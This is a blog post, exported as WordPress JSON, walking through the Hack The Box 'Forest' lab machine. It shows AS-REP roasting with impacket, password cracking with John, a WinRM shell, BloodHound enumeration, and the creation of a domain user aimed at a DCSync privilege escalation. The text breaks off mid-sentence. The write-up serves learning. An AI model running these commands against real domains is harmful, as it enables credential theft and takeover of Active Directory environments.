{"id":47,"date":"2020-11-02T23:59:32","date_gmt":"2020-11-02T23:59:32","guid":{"rendered":"http:\/\/dextersec.xyz\/?p=47"},"modified":"2020-11-15T22:27:02","modified_gmt":"2020-11-15T22:27:02","slug":"active-directory-101-forest","status":"publish","type":"post","link":"https:\/\/dextersec.xyz\/?p=47","title":{"rendered":"Active Directory 101: Forest"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>Introduction<\/strong><\/h2>\n\n\n\n<p>For my second machine in the Hackthebox Active Directory 101 track, I\u2019ll be pwning Forest. Forest is another active directory machine that teaches the basics of ASREPROASTING and abusing Discretionary Access Control Lists (DACL). The attack path to domain admin was quite new to me as I learnt another AD privilege escalation technique. For this box, initial access was gained by sending a dummy TGT request to obtain the credentials of a Non-preauthenticated user. Following post compromise enumeration,  I was able to become domain admin by first abusing access control rights to a domain object then launching a DC SYNC attack to obtain NTLM hashes for all domain users and administrators. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Reconnaissance<\/strong><\/h2>\n\n\n\n<!--more-->\n\n\n\n<p>I ran a simple nmap scan with the command: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sV -sC -oN forest_scan.txt 10.10.10.161<\/code><\/pre>\n\n\n\n<p>sV \u2013 Specifies the service version for each port<\/p>\n\n\n\n<p>sC \u2013 Specifies that nmap nse scripts should be run on each discovered port<\/p>\n\n\n\n<p>oN \u2013 Specifies the format the scan result is save in, here we use the nmap format<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"993\" height=\"512\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-18.png\" alt=\"\" class=\"wp-image-149\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-18.png 993w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-18-300x155.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-18-768x396.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-18-210x108.png 210w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 1: Nmap Scan Output<\/figcaption><\/figure>\n\n\n\n<p>From the Nmap scan above we can gather the following:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>Port 53 indicates that DNS is running on this machine<\/li><li>Port 88 is running the Kerberos authentication service<\/li><li>Ports 389 &amp; 3628 have LDAP running<\/li><li>The host scripts reveal that SMBv2 is running on port 445<\/li><li>The host is a Domain Controller<\/li><li>LDAP provides us with the domain name htb.local<\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Enumeration<\/strong><\/h2>\n\n\n\n<p>In enumerating this box the easiest attack vector would be through SMB, I tried using anonymous credentials but failed woefully, So i proceed to try enum4linux to see if i could gather information about the domain users and it worked! <\/p>\n\n\n\n<p>Enum4linux, can be used to discover valid users on the domain;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>enum4linux 10.10.10.161<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"932\" height=\"207\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-19.png\" alt=\"\" class=\"wp-image-151\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-19.png 932w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-19-300x67.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-19-768x171.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-19-210x47.png 210w\" sizes=\"(max-width: 932px) 100vw, 932px\" \/><figcaption>Figure 2: Shows running the enu4linux command <\/figcaption><\/figure>\n\n\n\n<p>We get the following results.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"578\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-20.png\" alt=\"\" class=\"wp-image-152\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-20.png 700w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-20-300x248.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-20-210x173.png 210w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><figcaption><em>Figure 3: Shows <\/em>a full list of accounts retrieved by enum4inux<\/figcaption><\/figure>\n\n\n\n<p>Ideally you want to sanitize the enum4linux result by filtering for only accounts. This can be achieved by using the <strong>cut<\/strong> command from your terminal. I&#8217;ve gone ahead to do this and saved all account names into the userlist.txt file.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"898\" height=\"519\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-21.png\" alt=\"\" class=\"wp-image-153\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-21.png 898w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-21-300x173.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-21-768x444.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-21-210x121.png 210w\" sizes=\"(max-width: 898px) 100vw, 898px\" \/><figcaption>Figure 4: Enum4linux output, sanitized and saved it into userslist.txt<\/figcaption><\/figure>\n\n\n\n<p>Now that we have a list of valid users we can proceed to the next stage of our attack.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Initial Access<\/strong><\/h2>\n\n\n\n<p>Since we are working with windows active directory we can leverage on a technique called ASREPROASTING (i.e Authentication Server Response Roasting) to gain initial foothold on this machine. <\/p>\n\n\n\n<p>The ASREPRoast attack looks for <strong>users without Kerberos pre-authentication enabled attribute (<\/strong><a rel=\"noreferrer noopener\" href=\"https:\/\/support.microsoft.com\/en-us\/help\/305144\/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro\" target=\"_blank\"><strong><em>DONT_REQ_PREAUTH<\/em><\/strong><\/a><strong><em>)<\/em><\/strong>.<\/p>\n\n\n\n<p>That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This message contains a chunk of data encrypted with the original user hash, derived from its password. Then, by leveraging this flaw, the hash could be cracked offline to obtain a valid password.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/roasting-as-reps\/\">harmj0y<\/a> has an awesome <a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/roasting-as-reps\/\">article <\/a>that explains this attack in depth.<\/p>\n\n\n\n<p>The GetUserSPNs binary from impacket suite is the tool of choice for this step.<\/p>\n\n\n\n<p>If you don\u2019t have impacket installed simply run the command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>apt-get install python3-impacket<\/code><\/pre>\n\n\n\n<p>Next we execute the GetNPUsers.py script to obtain a TGT and hash for non-preauthenticated users <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 \/usr\/share\/doc\/python3-impacket\/examples\/GetNPUsers.py htb.local\/ -request<\/code><\/pre>\n\n\n\n<p><strong>-request <\/strong> Requests TGT for users and output them in JtR\/hashcat format<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"809\" height=\"318\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-22.png\" alt=\"\" class=\"wp-image-154\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-22.png 809w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-22-300x118.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-22-768x302.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-22-210x83.png 210w\" sizes=\"(max-width: 809px) 100vw, 809px\" \/><figcaption><br>Figure 5: ASREPROASTING with GetNPUsers.py<\/figcaption><\/figure>\n\n\n\n<p>We&#8217;ve successfully obtained a hash for the domain user svc-alfresco, if a weak password is in use we can easily decrypt it with john the ripper. <\/p>\n\n\n\n<p>Save the hash into a file and attempt cracking with john to obtain a password in plain text for the domain user.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>john --wordlist=\/usr\/share\/wordlists\/rockyou.txt hashes.txt<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"208\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-23-1024x208.png\" alt=\"\" class=\"wp-image-157\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-23-1024x208.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-23-300x61.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-23-768x156.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-23-210x43.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-23.png 1035w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 6: offline cracking of svc-alfresco password with john<\/figcaption><\/figure>\n\n\n\n<p>We got a plaintext password!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Enter Evil-Winrm&#8230;<\/strong><\/h2>\n\n\n\n<p>With all the resources at our disposal we can obtain a shell on our target using evil-winrm, this tool comes preinstalled on Kali 2020.3 and is capable of provisioning access to a remote machine shell by connecting through port 5985 open for <em>Microsoft Windows<\/em> Remote Management.<\/p>\n\n\n\n<p>To get a fully interactive shell with evil-winrm run<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice<\/code><\/pre>\n\n\n\n<p><strong>-i  <\/strong>IP Remote host IP or host name.<\/p>\n\n\n\n<p><strong>-U<\/strong> Username<\/p>\n\n\n\n<p><strong>-P <\/strong>Password<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"833\" height=\"135\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-24.png\" alt=\"\" class=\"wp-image-158\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-24.png 833w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-24-300x49.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-24-768x124.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-24-210x34.png 210w\" sizes=\"(max-width: 833px) 100vw, 833px\" \/><figcaption>Figure 7: Initial Access With Evil-winrm<\/figcaption><\/figure>\n\n\n\n<p>Grab the user flag and proceed to carry out post exploitation enumeration.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd ..\/desktop<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>Evil-WinRM* PS C:\\Users\\svc-alfresco\\desktop> download user.txt\nInfo: Downloading C:\\Users\\svc-alfresco\\desktop\\user.txt to user.txt\n\n                                                             \nInfo: Download successful!\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"845\" height=\"91\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-25.png\" alt=\"\" class=\"wp-image-162\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-25.png 845w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-25-300x32.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-25-768x83.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-25-210x23.png 210w\" sizes=\"(max-width: 845px) 100vw, 845px\" \/><figcaption><br>Figure 8: Grabbing the user flag<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Post Compromise Enumeration<\/strong><\/h2>\n\n\n\n<p>We have successfully established initial foothold on the domain controller, let&#8217;s learn more about svc-alfresco and his privileges<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\svc-alfresco\\desktop> net user svc-alfresco<\/code><\/pre>\n\n\n\n<p>we get back the following details about svc-alfresco<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"849\" height=\"420\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-26.png\" alt=\"\" class=\"wp-image-163\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-26.png 849w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-26-300x148.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-26-768x380.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-26-210x104.png 210w\" sizes=\"(max-width: 849px) 100vw, 849px\" \/><figcaption>Figure 9: We learn that svc-alfresco is a domain user and a member of the service accounts group<\/figcaption><\/figure>\n\n\n\n<p>There&#8217;s still no clear cut attack vector or path we can leverage towards elevating our privilege on the domain, We need to enumerate further&#8230;.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Bloodhound to the rescue&#8230;<\/strong><\/h2>\n\n\n\n<p><a href=\"https:\/\/github.com\/BloodHoundAD\/BloodHound\">BloodHound<\/a> is a active directory enumeration tool that uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. We can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify.<\/p>\n\n\n\n<p>If you don\u2019t have BloodHound installed on your machine, use the following command to install it.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>apt-get install bloodhound<\/code><\/pre>\n\n\n\n<p>Next, we need to upload and execute bloodhound&#8217;s data ingestor, SharpHound.exe on our target. the executable can be downloaded <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/BloodHoundAD\/BloodHound\/tree\/master\/Ingestors\" target=\"_blank\">here<\/a>. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents> upload SharpHound.exe\nInfo: Uploading SharpHound.exe to C:\\Users\\svc-alfresco\\Documents\\SharpHound.exe\n\n                                                             \nData: 1111380 bytes of 1111380 bytes copied\n\nInfo: Upload successful!\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"747\" height=\"127\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-27.png\" alt=\"\" class=\"wp-image-164\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-27.png 747w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-27-300x51.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-27-210x36.png 210w\" sizes=\"(max-width: 747px) 100vw, 747px\" \/><figcaption>Figure 10: Uploading SharpHound.exe to our target<\/figcaption><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents> .\/SharpHound.exe<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"942\" height=\"303\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-28.png\" alt=\"\" class=\"wp-image-165\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-28.png 942w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-28-300x96.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-28-768x247.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-28-210x68.png 210w\" sizes=\"(max-width: 942px) 100vw, 942px\" \/><figcaption>Figure 11: Executing SharpHound.exe on our target<\/figcaption><\/figure>\n\n\n\n<p>Download the zip file to our attacking machine for analysis with the BloodHound GUI<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents> download 20201107150607_BloodHound.zip\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"909\" height=\"105\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-29.png\" alt=\"\" class=\"wp-image-166\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-29.png 909w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-29-300x35.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-29-768x89.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-29-210x24.png 210w\" sizes=\"(max-width: 909px) 100vw, 909px\" \/><figcaption>Figure 12: Downloading the scan results for analysis<\/figcaption><\/figure>\n\n\n\n<p>Before we start analyzing the data ingested by SharpHound, we need to fire up the neo4j database and BloodHound on our attacking machine. find a detailed guide on how to install <a href=\"https:\/\/neo4j.com\/docs\/\">neo4j<\/a> here.<\/p>\n\n\n\n<p>Run the commands;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>neo4j console<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"735\" height=\"227\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-30.png\" alt=\"\" class=\"wp-image-167\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-30.png 735w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-30-300x93.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-30-210x65.png 210w\" sizes=\"(max-width: 735px) 100vw, 735px\" \/><figcaption>Figure 13: initializing the neo4j database<\/figcaption><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>bloodhound<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"734\" height=\"52\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-31.png\" alt=\"\" class=\"wp-image-168\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-31.png 734w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-31-300x21.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-31-210x15.png 210w\" sizes=\"(max-width: 734px) 100vw, 734px\" \/><figcaption>Figure 14: Initializing Bloodhound&#8217;s GUI<\/figcaption><\/figure>\n\n\n\n<p>Login using the credentials you created while installing neo4j, and upload the zipped file to bloodhound.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"567\" height=\"393\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-32.png\" alt=\"\" class=\"wp-image-169\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-32.png 567w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-32-300x208.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-32-210x146.png 210w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><figcaption>Figure 15:  Bloodhound User Login page<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-33-1024x576.png\" alt=\"\" class=\"wp-image-171\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-33-1024x576.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-33-300x169.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-33-768x432.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-33-210x118.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-33.png 1366w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 16: Uploading the zipped file onto bloodhound<\/figcaption><\/figure>\n\n\n\n<p>Next, we search for the user <strong>svc-alfresco<\/strong> to make him our starting node then right-click and mark  as owned.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"546\" height=\"162\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-34.png\" alt=\"\" class=\"wp-image-172\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-34.png 546w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-34-300x89.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-34-210x62.png 210w\" sizes=\"(max-width: 546px) 100vw, 546px\" \/><figcaption>Figure 17: Querying for the compromised user to be made our starting node<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/478\/1*qp1rgNv_-qSoQUg4Rmcdeg.png\" alt=\"Image for post\"\/><figcaption>Figure 18: Marking the compromised user as owned<\/figcaption><\/figure>\n\n\n\n<p>In the Bloodhound <em>Queries <\/em>tab, select \u201c<em>Shortest Path from Owned Principals<\/em>\u201d. This graphs out the quickest path to domain admin from svc-alfresco<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/464\/1*27gUuo0gnBabPYkrJlukXw.png\" alt=\"Image for post\"\/><\/figure>\n\n\n\n<p>The resulting query should look something like this.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"431\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-36-1024x431.png\" alt=\"\" class=\"wp-image-175\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-36-1024x431.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-36-300x126.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-36-768x323.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-36-210x88.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-36.png 1174w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 19: provides a clear view of our path to pwning the domain<\/figcaption><\/figure>\n\n\n\n<p>From the above image we deduce that svc-alfresco is a member of the following domain groups; Service Accounts, Privileged IT Accounts and Account Operators. Also, members of the of the Account Operators group have a &#8220;GenericAll&#8221; rights to the Exchange Windows Permissions group. Finally members of the Exchange Windows Permission group have &#8220;WriteDacl&#8221; rights to the domain. <\/p>\n\n\n\n<p>What does this imply:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>As members of the Account Operators group we have permissions to create new users on the domain<\/li><li>The &#8220;GenericAll&#8221; relationship between the account operators group and Exchange Windows Permission group allows us to add newly created users to the Exchange windows permissions group<\/li><li>Members of the  Exchange Windows Permissions group have &#8220;WriteDacl&#8221; rights to the domain, this allows our new user modify the domain&#8217;s access control entry (ACE) to grant domain replication permissions, leading to a DCSYNC attack.<\/li><\/ol>\n\n\n\n<p>ired.team breaks down each of these object permissions in this well written <a href=\"https:\/\/www.ired.team\/offensive-security-experiments\/active-directory-kerberos-abuse\/abusing-active-directory-acls-aces\">article<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Privilege Escalation<\/strong><\/h2>\n\n\n\n<p>In escalating our privilege to domain admin we&#8217;ll take the following steps;<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Create a new domain user<\/li><li>Add the user to the Exchange Windows Permission group<\/li><li>Grant our user domain replication rights with <a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/dev\/Recon\/PowerView.ps1\" target=\"_blank\" rel=\"noreferrer noopener\">powerview<\/a><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>Intermission: Bloodhound provides tips on how to abuse relationships and permissions from its graphing, we can easily obtain how to abuse our \"WriteDACL\" permission using the help feature.<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"498\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-37-1024x498.png\" alt=\"\" class=\"wp-image-176\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-37-1024x498.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-37-300x146.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-37-768x373.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-37-210x102.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-37.png 1350w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 20: Right Click on WriteDacl and select help<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-38.png\" alt=\"\" class=\"wp-image-177\" width=\"611\" height=\"378\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-38.png 622w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-38-300x186.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-38-210x130.png 210w\" sizes=\"(max-width: 611px) 100vw, 611px\" \/><figcaption>Figure 21: We are provided with the abuse information and reference for further reading about abusing WriteDacl<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Now back to pwning domain admin&#8230;<\/strong><\/h2>\n\n\n\n<p>Within our evil-winrm shell lets add a new user named dexter to the domain.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>net user dexter password \/add \/domain<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"772\" height=\"92\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-39.png\" alt=\"\" class=\"wp-image-178\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-39.png 772w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-39-300x36.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-39-768x92.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-39-210x25.png 210w\" sizes=\"(max-width: 772px) 100vw, 772px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"647\" height=\"432\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-40.png\" alt=\"\" class=\"wp-image-179\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-40.png 647w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-40-300x200.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-40-210x140.png 210w\" sizes=\"(max-width: 647px) 100vw, 647px\" \/><\/figure>\n\n\n\n<p>Next we add dexter to the Exchange Windows Permission group<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>net group \"Exchange Windows Permissions\" \/add dexter<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"953\" height=\"477\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-41.png\" alt=\"\" class=\"wp-image-180\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-41.png 953w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-41-300x150.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-41-768x384.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-41-210x105.png 210w\" sizes=\"(max-width: 953px) 100vw, 953px\" \/><\/figure>\n\n\n\n<p>Now we need to get Powerview onto the target to grant Dexter domain replication rights<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>upload PowerView.ps1<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"814\" height=\"117\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-42.png\" alt=\"\" class=\"wp-image-181\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-42.png 814w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-42-300x43.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-42-768x110.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-42-210x30.png 210w\" sizes=\"(max-width: 814px) 100vw, 814px\" \/><\/figure>\n\n\n\n<p><em>Note: make sure to 